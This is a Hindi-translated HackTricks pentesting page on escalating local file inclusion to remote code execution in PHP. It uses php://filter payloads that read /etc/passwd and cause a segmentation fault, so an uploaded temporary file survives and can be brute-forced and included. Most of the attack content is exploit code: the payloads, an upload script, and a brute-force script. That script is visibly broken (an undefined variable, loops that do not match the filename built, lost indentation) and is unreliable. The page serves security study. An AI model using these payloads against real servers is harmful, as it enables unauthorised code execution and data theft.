hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

7.4 KiB

LFI2RCE के माध्यम से सेगमेंटेशन फॉल्ट

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

व्रिटअप्स https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (दूसरा भाग) और https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view के अनुसार, निम्नलिखित payloads ने PHP में सेगमेंटेशन फॉल्ट को उत्पन्न किया:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

आपको यह जानना चाहिए कि अगर आप एक फ़ाइल को साथ भेजते हुए एक POST अनुरोध भेजते हैं, तो PHP उस फ़ाइल की सामग्री के साथ /tmp/php<something> में एक अस्थायी फ़ाइल बनाएगा। इस फ़ाइल को अनुरोध को प्रोसेस करने के बाद स्वचालित रूप से हटा दिया जाएगा।

अगर आपको एक LFI मिलता है और आप PHP में एक segmentation fault को ट्रिगर करने में सफल होते हैं, तो अस्थायी फ़ाइल को कभी नहीं हटाया जाएगा। इसलिए, आप LFI संरचनासंबंधी कमजोरी के साथ उसे खोज सकते हैं जब तक आप उसे नहीं ढूंढ़ते और ऐसा कोड का निर्वाचन कर सकते हैं।

आप परीक्षण के लिए डॉकर इमेज https://hub.docker.com/r/easyengine/php7.0 का उपयोग कर सकते हैं।

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥